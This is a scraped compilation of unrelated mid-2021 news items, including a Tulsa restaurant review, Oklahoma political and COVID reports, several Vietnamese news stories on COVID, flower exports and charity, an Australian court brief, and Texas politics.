I thought with that name, we could offer a mix of French and Spanish foods, she said. Fortunately, Chef Andrew knows all about Spanish food and Basque cuisine, and he knew if we had the word Basque in the name, then we would need to deliver on providing authentic Basque food.

Chef Andrew Donovan, who came on as executive chef for both Amelias and Restaurant Basque in 2020, served as executive chef at New York Citys Tia Pol, which under his guidance was named best Spanish restaurant in the city by the Zagat Guide.

It was during his time at Tia Pol that Donovan spent several weeks traveling around Spain, where I did nothing but eat, he said. The trip gave him a deeper insight into Basque cuisine, which he has put to use for Restaurant Basque.

Within the relatively small confines of the Basque region is a remarkable diverse geography, from the Atlantic Ocean to the Pyrenees Mountains and everything in between, which means the areas unique cuisine draws equally from the oceans and rivers, farms and fields.

One thing that impressed me about Basque cuisine is that, while the techniques and procedures involved can be quite complex, there is a simplicity to it, he said. Ive always been a proponent of less is more, and thats a characteristic of Basque cuisine. A dish may have five or six relatively simple ingredients, but it is the way they are brought together that elevates it to a new level.

Still, Donovan said, there are some popular Basque dishes that might not find as enthusiastic a welcome on this side of the pond. One such dish he prepared for the staff to sample as the menu was being created was a whole baby squid braised in its own ink  the blue-black fluid the cephalopod uses as a defense mechanism.

Personally, I love it, Donovan said, but not everyone else did. So while we are making every effort to be authentic, we also want to make the food we serve approachable.

So the calamari dish served at Restaurant Basque takes the elements of that original dish  the rice ground to a flour, the onions and peppers sauteed with the calamari, the squid ink used as a dressing  to create something that looks similar to the fried calamari found at many restaurants, but packing a flavor that is unique.

Another tradition of Basque cuisine is its communal nature  most dishes are designed to be shared among those at the table, like the tapas popular throughout Spain. But instead of strolling from bar to bar, at Restaurant Basque it all comes to you, beginning with a loaf of brioche bread and roasted garlic piquillo butter.

The menu is divided into six sections, including cheese and charcuterie selections; small-bite offerings called Pintxos and Montadiltos; and Raciones, which are small-plates meant to share. The entrees are divided between Carne (Meat) and Mariscos (Seafood), with Verduras (Vegetables) making up the final group.

Our server, Trip, said one did not need to follow the typical progression of appetizer to entree to dessert, encouraging guests to select dishes that appealed at random. Theres no wrong way to order, he said.

My three companions for the evening and I decided to pass on the cheese and charcuterie because we  all right, because I  wanted to try everything and one needs to demonstrate some measure of restraint whilst among the public.

Instead we started with two variations on serrano ham, the ham croquettes ($8) and the bikini ($9), which are two-bite-sized grilled cheese sandwiches made with serrano ham and manchego cheese.

The gumball-sized croquettes had a nicely crunchy outer shell; the interior was a tad doughy with just a few shreds of ham. Much better was the bikini, where the ham was more of a presence and matched the assertive taste of the manchego.

We moved on to the shareables, selecting three: the charred Spanish octopus ($16), the Basque-style snails ($14), and the albondigas ($10), lamb meatballs in broth.

Let me pause here to sing the praises of the snails  the snails themselves were perfectly cooked, tender to the point of creaminess, and the sauce of bacon and choricero peppers was lively and potent. One could live on these things.

The octopus had a light char and meaty texture, and skewered with chunks of fingerling potatoes and topped with a mix of Manzanilla olives and roasted pine nuts. The meatballs had rich lamb flavor, but not even the clear broth in which they were served could remove the dryness.

We went with two entrees  the salt-baked petrale sole ($26) and the cast-iron roasted rib-eye steak ($44)  and at our servers suggestion, the crispy potatoes ($11).

The sole was melt-in-the-mouth delicate in texture, with the olive-forward salsa verde adding a piquant note. The rib-eye, which came to the table cut into bite-sized pieces, has a good crust that did not rely entirely on salt, and was the requested medium-rare. A few of the pieces, however, were mostly fat  when every bite is supposed to deliver a special experience, a little more judicious trimming of what goes to the table might be in order.

The potatoes were crispy as promised, and almost didnt need the aioli drizzled over them. The steak also came with crushed and crisped fingerling potatoes, which were tasty all by themselves.

We shared two desserts, Pears Belle Helene, a wine-poached pear with chocolate sauce ($12), and a burnt Basque cheesecake ($11). The pear was well-poached, slightly toothsome, and the slightly bitter chocolate was a good contrast. The cheesecake, which came with a slightly scorched exterior and a handful of berries, was unlike any other cheesecake Ive tried as far as texture and taste go. It had an almost salty, savory taste, and an airy texture.

Donovans wife, Ashley Whitworth Donovan, a sommelier, created the cocktail menu and oversees a wine list that focuses on Spanish wines.

We import most of the products we use from Spain, Donovan said. The oils, the vinegars, the seafood  we made every effort to use authentic ingredients.

The interior has not changed much from its days as Amelias Market & Brasserie. A new patio added about 30 additional seats to the existing 40 or so inside. The Market, specializing in Oklahoma foods, remains the entrance to the restaurant, but Eesley said its likely that the market area will be converted to restaurant seating in the future.

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Oklahoma Gov. Kevin Stitt and a panel of district attorneys sought Tuesday to explain their views on how the U.S. Supreme Courts McGirt decision had unintended consequences for victims of crime regardless of tribal citizenship. But Stitt ended the McGirt v. Oklahoma Community Forum roughly an hour earlier than planned, descending from the podium to jeers and chants of Shame on you due to audience members belief that prosecutors disrespected tribal sovereignty.

At some points it was hard to hear the speakers as they attempted to explain their views while members of the audience decried the lack of tribal representation on the panel.

Nobody on this panel created the McGirt situation, Stitt said shortly before ending the program. This is a complicated issue, and we have 400,000 natives who live in the state of Oklahoma. Weve got 3.6 million nonnatives living in the state of Oklahoma. We need to keep all Oklahomans safe.

The panels heavy skew toward prosecutors, though, was a source of frustration for Native Americans who attended the forum. Most of the prosecutors, including Tulsa County District Attorney Steve Kunzweiler, were subject to questions about why tribal leaders or their attorneys general were not among the panelists.
Epic Charter Schools was just given four additional months to grapple with how it might fully comply with a settlement agreement that preserved its sponsorship by the Statewide Virtual Charter School Board.

At issue is the fact that Epic has maintained one single governing board with the same members for both of its two legally separate schools while the two schools share administrators and many teachers.

Because state funds for the two schools were found to have been commingled in previous years, the terms of its 2-month-old consent agreement with the virtual board require Epic to have shared service agreements  approved by independent school governing boards  if it continues to share employees.

After Tuesdays meeting of the virtual school board, Epic Superintendent Bart Banfield expressed some frustration but said the schools leadership will use the extra time just allotted to contemplate whether Epics two schools should even have two separate local governing boards  or whether it should pursue even more radical change as one single school.

Weve already undergone so much change before this consent agreement was ever contemplated, Banfield said. But this gives us more time for conversation, both for us and with them (the statewide virtual board).
This facility is a new weapon in the fight against opioid addiction here in Oklahoma, Hern said. It will help us to better understand how addiction affects the neurological system to understand better ways to treat and hopefully prevent substance abuse.

During the COVID-19 pandemic, the abuse of opioids and many other harmful substances increased. INTEGRIS Health cited a study by the Centers for Disease Control and Prevention that found deaths related to methamphetamine and related drugs now outpace those caused by all opioids combined. The Oklahoma Recovery Center also reported a rise in alcohol abuse in July 2020.

Public intoxication was the leading cause of arrests and incarcerations by the Tulsa Police Department when Bynum became mayor in 2016, he said. His hope is the research conducted in the new facility will also help solve Oklahomas high incarceration rates by addressing one of the root causes.
In the view of several of the Native citizens in the crowd, Gov. Stitt and the other panelists should have expected criticism for a lack of tribal representation on stage. They said the panelists used crime victims as pawns to express their frustration with the ruling's affirmation of tribal sovereignty.
Today is Monday, July 12, 2021. Let's get caught up.

Here's what you should know today: Pfizer will meet with U.S. officials today to discuss authorization of a third dose of the COVID-19 vaccine; California, West broil and burn in relentless heat and drought; the Milwaukee Bucks dominated Game 3 to cut the Phoenix Suns' series lead to 2-1.

Keep scrolling for today's top stories, this date in history and celebrity birthdays.

TOP STORIES

Pfizer to discuss COVID-19 vaccine booster with US officials

WASHINGTON (AP)  Pfizer says it plans to meet with top U.S. health officials Monday to discuss the drugmakers request for federal authorization of a third dose of its COVID-19 vaccine as President Joe Bidens chief medical adviser acknowledged that "it is entirely conceivable, maybe likely that booster shots will be needed.

The company said it was scheduled to have the meeting with the Food and Drug Administration and other officials Monday, days after Pfizer asserted that booster shots would be needed within 12 months.
The U.S. Department of Health and Human Services is providing Oklahoma with a little more than $9 million to support COVID response efforts in rural areas through the Health Resources and Services Administration.

The funding through the Small Rural Hospital Improvement Program will go to 35 small rural hospitals in Oklahoma for COVID-19 testing and mitigation measures, the Department of Health and Human Services announced Tuesday.

The Biden Administration recognizes the important role that small rural hospitals have in closing the equity gap and ensuring that rural Americans can protect themselves and their communities from COVID-19, HHS Secretary Xavier Becerra said in a statement.

Todays funding will help small rural hospitals continue to serve their communities in this critical role by expanding their COVID-19 testing capacity and mitigation efforts.

The Oklahoma State Department of Health will receive the funding to distribute to eligible rural hospitals across the state.

Oklahoma is seeing an uptick in cases with the emergence of COVID-19s delta variant, particularly in rural areas where there are lower rates of vaccinations, said Oklahoma Health Commissioner Dr. Lance Frye.
Coronavirus hospitalizations are back to March levels as the statewide seven-day average for new COVID-19 cases nearly doubled in a week, according to Oklahoma State Department of Health data.

About 271 COVID-19 patients were recently hospitalized across the state, with 94 of those patients in ICU beds. Tulsa County hospitals housed 107 of those patients, with 45 in ICU, according to OSDH data. Neither the state nor Tulsa County has seen those numbers since March, when rates were plunging following the initial availability of vaccines.

Most of the patients hospitalized in Tulsa County are unvaccinated, Tulsa Health Department Executive Director Bruce Dart said Tuesday, which state health officials have said is reflected in hospitals around the state. Theyre also from outside the county; Tulsa County is one of only four counties in the state in which more than 60% of the adult population has had at least one dose of the vaccine, according to state data.

For the one-week period that ended Saturday, Oklahoma saw 3,477 new cases of COVID, which was about 1,600 more than the number recorded for the week before of June 27-July 3.

The states seven-day average of newly-reported cases bumped up to 497, which nears rates from early April.
The flood of red (is) spilling out of Missouri and Arkansas into Oklahoma, Bratzler said. You can see northeast Oklahoma is almost entirely red.

Oklahoma hospitals  especially in the northeast  are reporting that the COVID patient population is younger and unvaccinated, many with comorbidities.

Patti Davis, president of the Oklahoma Hospital Association, said some of those patients are brought in from other states as beds become scarce elsewhere.

Davis said hospitals here also are busy handling pent-up demand for health care from people who delayed care during the worst of the pandemic. Some conditions or complications are worse than if they had been treated in a more timely fashion, she said.

I cant stress enough the importance of getting vaccinated, Davis said. Now is the time to do that because none of us want to go back to the days of quarantine.

Just like COVID taught us last time, when the positive rates go up there is a lag in hospitalizations that follows that.

The expert panel also expressed concern about the upcoming school season.
Advocates from law enforcement to nonprofit leaders fought against closing shelters.

Nationally, shelters fell out of favor as research showed congregate care often causes more harm. Tulsas Laura Dester shelter closed in June 2018.

The Legislature has kept funds going into foster care, including upping payments to foster parents. DHS foster care is at full staff.

Lowry said the redesigned continuum of care better tracks children and services needed. It also broadens the types of services available.

The state is stepping up with the kinds of services that will be much better at providing resources for foster homes and provide for foster children, Lowry said. It took a long time for them to get there, but they are there now, and we are happy for that.

This Oklahoma experience isnt unique. Other states have similarly needed a decade or so to change the course and culture of its foster system.

If the state maintains this progress for two years, the Pinnacle Plan goals will be realized.
Hundreds of metric tons of flowers grown in Da Lat City of Lam Dong Province, located in Vietnams Central Highlands region, for export to Australia have had to be ground into fertilizer due to contrasting herbicide use regulations between the two countries.

Over the past week, Dalat Hasfarm, a major florist in Da Lat, and 40 households planting flowers in the city and neighboring districts have no choice but to turn 700,000 chrysanthemum stems, which were originally meant for exportation to Australia, into fertilizer.

This large volume of chrysanthemums was already soaked into glyphosate, an active ingredient used for weed control, as per the requirements for flowers shipped to Australia.

However, such a method is prohibited by a new regulation of the Vietnamese Ministry of Agriculture and Rural Development over the toxicity of glyphosate.

The Vietnamese agriculture ministry recommends the use of alternative compounds, while Australian importers do not accept the use of substitutes other than glyphosate.

As the representative office in Lam Dongs Duc Trong District of the Plant Protection Department under the agriculture ministry refused to grant the permit for the aforementioned flower batch to be exported to Australia, the flowers in question have been destroyed for composting.

Workers unpack chrysanthemums for destruction in Da Lat City, Lam Dong Province, Vietnam. Photo: M.V. / Tuoi Tre

It is estimated that Dalat Hasfarm has suffered a loss of US$126,000 over its destroyed shipment.

If the company continues failing to export flowers to Australia next month, it will have to destroy about 2.2 million more flower stems, setting it back about $630,000.

Flower farmers in Lam Dong have been worried that the Vietnamese regulations will keep causing many difficulties as most of them are cooperating with enterprises to grow flowers for export.

Flowers are being poorly sold domestically due to the pandemic, said Nguyen Thanh, a flower farmer in Da Lat.

"Without exports, we can only burn them as fertilizer.

It was very difficult for us to find connections for flower exportation."

Workers unpack chrysanthemums for destruction in Da Lat City, Lam Dong Province, Vietnam. Photo: M.V. / Tuoi Tre

Some 300 million flower products grown in Da Lat are exported to many countries, generating an accumulated revenue of $60 million every year.

Australia is Da Lats second-largest flower importer after Japan, accounting for about $5 million of the Vietnamese citys flower export turnover.

The Department of Agriculture and Rural Development of Lam Dong has reported to the Ministry of Agriculture and Rural Development about the obstacles caused by the glyphosate prohibition.

Meanwhile, according to the Plant Protection Department, the Department of Agriculture, Water and the Environment has permitted the trial of another active ingredient, instead of glyphosate, to prevent seed germination of harmful plants and asked the Vietnamese side to report the trial results for evaluation.

Workers unpack chrysanthemums for destruction in Da Lat City, Lam Dong Province, Vietnam. Photo: M.V. / Tuoi Tre

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HANOI -- Vietnam plans to impose a 5% export tax on steel billets and cut the import tax on some steel products, the government said on Wednesday.

The move is aimed at easing domestic steel prices to help firms cut costs, the government said in a statement, adding a recent increase in domestic steel prices had put a brake on several projects.

The import tax on some steel products, including construction steel products, would be reduced to 10%-15% from a range of 15%-25%, the statement said.

Vietnam's steel exports in the first half of 2021 rose 50% from a year earlier to 5.88 million metric tons, while steel imports were up 5.9% at 7.09 million metric tons, according to official customs data.
Doan Thi Hoa has spent more than a decade uplifting the disabled community through a center she has built in suburban Hanoi, teaching different trades and bringing smiles to children with special needs.

For the past 14 years, Hoa, in her late 50s, has strived hard to improve conditions of children with disabilities and give them a place where they can fit in.

People who come to Quynh Hoa Rolled Paper Cooperative, based in Huu Hoa Commune, Thanh Tri District in suburban Hanoi, can easily recognize her by the bright smile she always wears as she moves from one corner of the class to the other in order to attend to each of the students.

Hoa and her husband, Nguyen Huu Tan, have provided parental care and vocational training to some 500 physically challenged children, including those with severe impairments and others coming all the way from southern localities.

Just keep smiling

Hoa often goes by the adorable nickname U Hoa, with U meaning mother in northern dialects.

The middle-aged woman shared it is her smiles and carefree outlook that help her shut out daunting setbacks and keep her moving forward.

At the cooperative, which doubles as a free-admission vocational training center, Hoa is not only the teacher of a class with some of the most serious disabilities, but also a mother with boundless love and dedication.

From the center, many of her 500-plus students have matured and shined a light in their corner of the world. Many have also been able to have their own family, jobs, and been integrated into society.

Hoa herself has matchmade 23 couples among the students.

The woman, who has just had an operation on one leg, shared her calling to teach vocational skills to children with special needs during a charity trip with the Hanoi Red Cross Society almost 15 years ago.

When the volunteers were handing out gifts to disadvantaged children at a nursing home, Hoa spotted one child who was not too excited about the presents.

What the child later told her sank into her heart.

Were really thankful for the gifts, but what disabled children like me really need is learning a trade to provide for ourselves later, the child said.

Realizing what the underprivileged youngsters wished for, back from the trip, the woman was set on developing her calling into a disabled-forward initiative.

With her husbands support, Hoa set up a workshop to provide free vocational training for the local disabled community right in her backyard.

Concerned about the amount of care they would have to put in to teach disabled children, Tan, her husband, initially objected to it.

Seeing how determined his wife was, he soon gave in and the construction of four rooms marked her wish fulfilled.

The couple soon found themselves busy taking care of 15 minors with special needs upon the opening of the center.

Their first batch of students consisted of several in the most severe conditions of intellectual and physical disabilities, including immobility, hearing impairments, and mental retardation.

At first many could not even perform their daily hygiene routines while some were confined to wheelchairs.

With time and Hoas patience and loving care, that has hugely improved.

Most of her students have greatly improved their condition, being able to care for themselves, do simple household chores, and exchange greetings with visitors despite their speech and intellectual impairments.

Its my calling. Im willing to give without asking for anything in return, Hoa shared.

Its really hard work, but I have to shrug off my exhaustion to be someone the children can rely on."

A cause to pursue

Hoa started out with 10 sewing machines and successfully passed on sewing skills to students with minor disabilities.

But the task proved overwhelming to those with severe impairments, who could not operate the devices.

Instead, Hoa taught them the craft of making votive banknotes and items, which was then practiced in the neighborhood.

Several local teachers, in tune with Hoas benevolence, offered her a hand.

However, Hoas initiative was not without challenges.

As many of the students at the center forget what they learn almost immediately, it took Hoa a great deal of time to teach them things that seem simple to able-bodied people, let alone trades.

Starting 2009, Hoa let her students give it a try with paper rolling, the craft which turned out a perfect fit for students with different defects.

They put their innocent thoughts into the paintings, postcards, and other handicraft items which they make with their own hands, Hoa shared excitedly.

The childrens works delight visitors to the center who buy them as souvenirs and even make it to tourist complexes and the Old Quarter in downtown Hanoi.

Behind each handicraft item is a different life story.

Hai, 24, who has mental disability and speech impairment, says that art and life go together when he is working on the items, especially those that take more care and dexterity.

Mother [Hoa] teaches us how to roll paper and other stuff, Hai said.

She is so kind-hearted. She really cares for me, he added with a clear effort to articulate his words.

For Nguyen Lan Phuong, a 31-year-old woman with a mobility disability which can cause her to fall, it has been a long, difficult road to be where she is now.

Paper rolling is not the only craft taught at Hoas center.

Hoa added her students also know how to craft rattan items, with some learning office computer skills to get themselves ready for work at local businesses.

The ongoing outbreak of the coronavirus has added to Hoas concerns, as she temporarily cannot sell the students works to tourist complexes or the Old Quarter.

The woman, however, is positive the things that weigh on her mind will soon pass, as she always receives offers of aid from donors.

Its her lifelong calling, so I must be her companion," Tan said, adding they really miss their students whenever they return home for public holidays.

Its my greatest blessing to educate the kids and see how far they have gone, Hoa said with her signature smile.

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Police forces in the northern Vietnamese province of Son La have conducted a drill for anti-terrorism, hostage rescue, and other operations that could happen during the COVID-19 pandemic.

The drill, with the coordination of the provincial Military Command, took place on Monday, based on scenarios of combating terrorists, rescuing hostages, mine clearance, firefighting, and salvage.

The scenarios were designed to include incidents conducted by terrorists and saboteurs attempting to take advantage of the pandemic spread in many areas of Vietnam.

One of the assumed incidents was that reactionary individuals and organizations at home and abroad, supported by hostile forces, might carry out sabotage and terrorism activities.

A firefighting scene during the drill. Photo: Vietnam News Agency

Another fictional scenario was hi-tech criminals conducting attacks on a banks database systems to take control of its clients accounts and appropriate money from them.

Other scenarios include hostage situations, explosives, and arson that require effective response from local police.

In the 45-minute drill, local police forces, including a mobile police battalion, fought and seized terrorists and saboteurs, rescued hostages, stamped down fires, evacuated people from dangerous areas, searched for and removed explosives, and restored order and security.

They also completed necessary steps that serve the handling of terrorist acts and other crimes in accordance with the law.

This image shows an anti-terrorism combat group during the drill. Photo: Vietnam News Agency

Before this large-scale drill, the provincial police had taken part in a defensive exercise that took place in three stages: putting forces into the state of readiness for fighting; making defensive preparations; and performing combat actions.

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An elementary school student, Nguyen Hoang Thao My wants to do something to contribute to the fight against the ongoing COVID-19 pandemic in Ho Chi Minh City so she started making cakes.

My, a third-grade student living in District 6, Ho Chi Minh City, has experienced meaningful days this summer.

She carefully makes every flan cake by herself for sale and contribute her profit to the national COVID-19 vaccine fund.

During the COVID-19 pandemic in 2020, I asked my mother whether I could make a cake to contribute to the fund fighting the pandemic when I heard about the calling for crowdfunding, recalled My.

At that time, my mother taught me how to produce cakes and then my father became my deliveryman."

My capitalizes on her Facebook account as a platform to sell her cakes.

Hi everybody! I am Thao My, I am 9 years old," reads the young girls self-introduction on Facebook.

"I want to support the national COVID-19 vaccine fund so I opened a bakery for flans named Thao My.

I will sell two kinds of cakes with big and small sizes using silver wrapping paper.

"I donated VND2 million [US$87] last year.

"I expect everybody who buys the cakes can support me. Much appreciated!

The little girls bakery has produced dozens of flans every day since then.

She has created a new kind of flan, which includes bubbles and has gained traction among other children recently.

My does not merely make cakes for sale to contribute to the COVID-19 fund but she also wants to do something to thank the frontline medical workers who have worked extremely hard during the pandemic.

Using her savings, she made 120 flan cakes to give to doctors and nurses working at Trung Vuong Hospital, where COVID-19 patients are treated.

On each cake, My attached a small note that reads, I hope the doctors enjoy the cake.

I have prepared 120 cakes to offer to the medical workers at Trung Vuong Hospital," My told Tuoi Tre (Youth) newspaper.

"I asked my parents to bring cakes to them as I cant come there.

I hope the medical workers feel more willing to support the patients to overcome the disease."

According to the third-grade student, while she is capable of making cakes, the medical workers are now too busy to order them, so she asked her mother to find a way to give them the cakes.

The cakes filled with compassion made by the small girl left many of the doctors touched. Many of them wrote on Facebook that these are not only physical gifts, but they are also spiritual ones that help the medical workers forget exhaustion and keep their hard responsibilities during the pandemic.

Lam My Phuong, Mys mother, said her daughter began to make cakes last year when the COVID-19 pandemic first broke out.

This year, the girl started work again at the beginning of June.

She has saved more than VND800,000 ($35) to date, said Phuong.

I am happy that my daughter appreciates the work and can contribute a small part to the fight against the coronavirus pandemic," the mother said proudly.

"I feel joyful to recognize my daughter for constructive thinking.

BANK ACCOUNTS FOR DONATIONS 1. For donations within Vietnam: a) At State Treasury Transaction Office: - Account name: Fund for Vaccination Prevention of Coronarivus Disease 2019 - Account number: 3761.0.9098866.91999 (VND); 3761.0.9098869.9199 (USD) and 3761.0.9098786.91999 (EUR) b) At Joint Stock Commercial Bank for Investment and Development of Vietnam, Hanoi Branch: - Account name: Fund for Vaccination Prevention of Coronarivus Disease 2019 - Account number: 21110009116868 (VND); 21110371116868 (USD) and 21110142996868 (EUR) 2. For donations outside Vietnam: - Account name: Fund for Vaccination Prevention of Coronarivus Disease 2019 - Account number: 21110009116868 (VND); 21110371116868 (USD) and 21110142996868 (EUR) - Beneficiary bank: Joint Stock Commercial Bank for Investment and Development of Vietnam, Hanoi Branch, 4B Le Thanh Tong Street, Phan Chu Trinh Ward, Hoan Kiem District, Hanoi City, Vietnam - Swift code: BIDVVNVX Source: Ministry of Finance

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A man from the central Vietnamese city of Da Nang has tested positive for COVID-19 after completing a 28-day quarantine period, the municipal Department of Health confirmed on Tuesday.

The individual, who is a petroleum engineer, traveled from Ho Chi Minh City to Da Nang on June 13 to work at PVD 6 drilling rig, which belongs to the state-run Vietnam Oil and Gas Group.

Following his arrival, he was brought to Seven Sea Hotel on Vo Nguyen Giap Street for quarantine from June 13 to July 4.

He tested negative for the novel coronavirus four times during this period.

After the 21-day concentrated quarantine period, the man was required to self-quarantine for another seven days and decided to remain at the hotel.

He was tested for the fifth time at the end of the self-quarantine period on July 11 and the result also came back negative.

He moved to Petro Hotel on Quang Trung Street on Monday and signed up for another COVID-19 test on Tuesday before starting his job.

However, the result this time returned positive.

He has been taken to a local hospital for treatment and quarantine.

The man said he only had contact with a colleague following his quarantine period at Seven Sea Hotel, and that person was negative for COVID-19.

Vietnam had documented 36,605 COVID-19 cases as of Wednesday afternoon, with 9,553 recoveries and 130 deaths, according to the Ministry of Health.

The country has recorded 33,086 local infections in 58 provinces and cities, including 274 cases in Da Nang, since the fourth wave of transmissions began on April 27.

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New Zealands top fresh produce exporters to Vietnam have sent more than ten metric tons of apples and kiwi fruits to eight hospitals in Ho Chi Minh City to support the fight against COVID-19 in Vietnam's business hub.

Over 58,850 fresh New Zealand apples and 1,100 gold kiwi fruits have arrived at eight hospitals and medical centers in the southern city, providing patients and medical staff with the necessary relief to tide over the latest coronavirus wave, the New Zealand Embassy said on Tuesday.

The donations were made by Bostock Group, Freshmax Exports, Golden Bay Fruit, Scales Corporation, T&G Global, and Zespri International to show appreciation toward health workers hard work and provide a small amount of relief for patients, said New Zealand Ambassador to Vietnam Tredene Dobson.

The New Zealand Embassy is pleased to show our support to Vietnam by assisting New Zealand exporters who, with current travel restrictions, are not able to travel to Vietnam, but still want to contribute where they can by donating the highest quality fresh apples to the local communities they work with, Ambassador Dobson continued.

These are very difficult times but through small gestures like this we can show the profound friendship between our two countries.

New Zealand Trade and Enterprise (NZTE) Trade Commissioner and Consul General to Vietnam Joe Nelson said the NZTE is pleased to partner with the firms to help facilitate the donations.

Its been an honor to partner with New Zealand companies for such an important cause," Nelson remarked.

"Vietnam is an important export destination for many of our companies but more than that, we have a strong personal relationship with a number of our Vietnamese partners and we want to do whatever we can to help.

The eight hospitals and medical centers received the New Zealand fruit boxes through a partnership with the Song Foundation, a Ho Chi Minh City-based non-for-profit organization.

They included Binh Chanh Hospital, Thu Duc City Hospital, Cu Chi Hospital, University Medical Center Ho Chi Minh City, Binh Thanh District Medical Center, Tan Binh District Medical Center, Cho Ray Hospital, and Ho Chi Minh City Hospital for Tropical Diseases.

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The Ministry of Health announced almost 3,000 coronavirus cases in Vietnam on Wednesday, smashing the record of nearly 2,400 patients set two days earlier.

The ministry documented a total of 2,934 cases, 10 of which were imported infections registered in Binh Dinh Province, Thanh Hoa Province, Quang Nam Province, and Hanoi.

Thirty-three provinces and cities reported 2,924 locally-infected patients, including 2,229 in Ho Chi Minh City, 133 in Dong Thap Province, 118 in Dong Nai Province, 115 in Tien Giang Province, and 73 in Binh Duong Province.

The health ministry noted 2,509 of the domestic transmissions were found in centralized quarantine centers or locked-down areas.

The new cases smashed the record of 2,383 patients set on Monday.

Vietnam has combated a new outbreak since April 27 after more than one year of success in stalling the virus.

The Ministry of Health has logged 33,909 local infections in 58 out of 63 provinces and cities ever since.

Ho Chi Minh City is on top with 18,802 cases, followed by Bac Giang Province with 5,726 patients, Binh Duong Province with 1,887, Bac Ninh Province with 1,672, and Dong Thap Province with 782.

By comparison, Vietnam confirmed 106 community cases in the first wave from January 23 to April 16, 2020, 554 in the second from July 25 to December 1, 2020, and 910 in the third from January 28 to March 25, 2021.

The Southeast Asian country has detected 37,434 cumulative infections since the virus first struck it early last year, according to the health ministrys data.

Recoveries have increased to 9,624, including 71 announced on Wednesday, whereas todays six fatalities have taken the toll to 138.

The country has administered over four million vaccine doses to medical workers, teachers, factory workers, and other frontline staff since it rolled out inoculation on March 8.

Nearly 284,000 people have been fully vaccinated.

The government set a target of immunizing two-thirds of a population of nearly 98 million people against COVID-19 by the first quarter of next year.

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The Ministry of Health has decided to shorten the duration of treatment and isolation for asymptomatic COVID-19 patients and the quarantine period for direct contacts and international arrivals to 14 days, while trying quarantining mild cases in Ho Chi Minh City at home.

A study on about 20,000 COVID-19 patients in Vietnam showed that nearly 70 percent of them did not exhibit any symptoms, while severe cases often developed bad conditions seven to ten days after testing positive for the virus, heard a meeting chaired by Minister of Health Nguyen Thanh Long on Tuesday afternoon.

The health ministry has thus made a number of changes to the regulations on treating and quarantining COVID-19 patients and direct contacts, based on the evolution of virus concentrations and clinical course.

Accordingly, symptomless patients being treated at medical facilities shall take real-time RT-PCR tests on the ninth and tenth days of their treatment.

If their test results return negative both times or positive with a low viral load, they will be discharged from the medical facilities and subject to no further home-quarantine but local medical monitoring for 14 days.

According to the health ministry, none of more than 400 recoveries testing positive for the virus again after being discharged from hospitals have transmitted the pathogen to the community.

Therefore, it advised that local authorities not take any isolation and contact tracing measures, but continue medical monitoring, in those cases.

Based on practice and the recommendations of the World Health Organization, the U.S. Centers for Disease Control and Prevention and discussions with local authorities, the Ministry of Health also decided to reduce the quarantine time from 21 days to 14 days, regardless of concentrated isolation or home isolation, for COVID-19 patients' direct contacts and international arrivals.

COVID-19 patients arrive at a field hospital in Ho Chi Minh City, July 8, 2021. Photo: Hoang An / Tuoi Tre

In Ho Chi Minh City, symptomless patients can be quarantined at home in a pilot scheme approved by Deputy Minister of Health Nguyen Truong Son.

Those patients will take a real-time RT-PCR test on the tenth day of their treatment and can be discharged to continue quarantining at home if the test results return negative or positive with a low viral load.

They shall perform two more similar tests at home on the 14th and 21st days.

Medical workers contracting the virus are also allowed to self-monitor their health status at home, perform daily reports to local medical authorities, and take COVID-19 tests as prescribed.

COVID-19 direct contacts in very high-risk areas in the southern city will only be sent to concentrated isolation facilities if their residences do not meet the criteria set by the Ministry of Health for home quarantine.

They will take a real-time RT-PCR test on the seventh day instead of the 14th day of their treatment duration as before.

If their results are negative, they can be allowed to return home to continue quarantine.

The Ministry of Health on Wednesday morning confirmed 905 local coronavirus infections, including 666 cases in Ho Chi Minh City, raising the national tally to 35,409, with 9,553 recoveries and 132 deaths.

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A man from Tien Giang Province in southern Vietnam resorted to jumping into a river when law enforcers tried to catch him for exercising outdoors, which is currently prohibited as the Mekong Delta province has been placed under strict social distancing over COVID-19.

Tien Giang Province has come into extensive social distancing under the prime ministers Directive No. 16 from Monday, after detecting more than 400 local coronavirus cases.

Functional forces in the province have since patrolled the streets to prevent people from going outside unnecessarily.

On Tuesday, the patrol teams had to deal with several cases of people exercising and fishing at the parks on the embankments of the Tien River.

Some of them ran away when seeing the officers approaching.

In one noticeable case, a man even jumped into the river to flee the scene, according to the camera footage of an officer on duty.

As he managed to swim far away, the patrol officer decided to give up chasing him.

A man runs away before jumping into the Tien River to avoid patrol officers in Tien Giang Province, Vietnam, July 13, 2021 in this supplied video.

Authorities in Tien Giang fined a total of 20 cases for violating COVID-19 prevention regulations, including not wearing face masks in public and trading non-essential goods, on the first two days of the ongoing 14-day social distancing drive.

Vietnam has been battling a new outbreak with 31,890 local infections recorded in 58 out of 63 provinces and cities since April 27.

Tien Giang has logged 470 infections in this round.

Ho Chi Minh City is currently the hardest-hit locality with 17,239 cases.

The country has confirmed an accumulation of 35,409 infections, including 33,460 community cases, since the pathogen first hit it early last year, according to the health ministrys data.

Recoveries have risen to 9,553 whereas the death toll has reached 132.

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Actor Orpheus Pledger appeared before the Melbourne Magistrates Court yesterday on two counts of drug possession.

The former Home & Away hunk was allegedly caught him with a quantity of methamphetamine, also known as ice.

He was arrested in Prahran in February uniformed police in Melbourne.

Pledger, 28, appeared in court before Magistrate Hugh Radford via videolink.

He also allegedly had 30 tablets of Diazepam, more widely known as Valium, without a prescription.

He has not yet pleaded to the charges.

In 2018 Pledger rescued a young woman from an attack in inner Sydney.

Source: news.com.au
Tyler, TX (75702)

Today

Mostly clear skies this evening will give way to occasional showers overnight. Low 77F. Winds SSW at 5 to 10 mph. Chance of rain 40%..

Tonight

Mostly clear skies this evening will give way to occasional showers overnight. Low 77F. Winds SSW at 5 to 10 mph. Chance of rain 40%.
Texas

Gov. Abbott: Democratic legislators to be arrested upon return to Texas

Eric Gay/AP Democrats from the Texas Legislature arrive by bus to board a private plane headed for Washington, D.C., on Monday in Austin. By leaving, Democrats denied the GOP majority a quorum to pass bills, barely a month after their walkout thwarted the first push for sweeping new voting reform measures in Texas.

More than 60 House Democrats who fled Austin Monday to prevent a vote on election reforms will be arrested when they return to Texas, Gov. Greg Abbott said.

Once they step back into the state of Texas, they will be arrested and brought to the Texas capital and we will be conducting business, Abbott said.

The 67 Democratic lawmakers flew on chartered flights to Washington D.C. in protest of proposed legislation seeking to reduce the chances of fraud in future elections. The legislation is one of a number of measures being considered during a July special session called by Abbott.

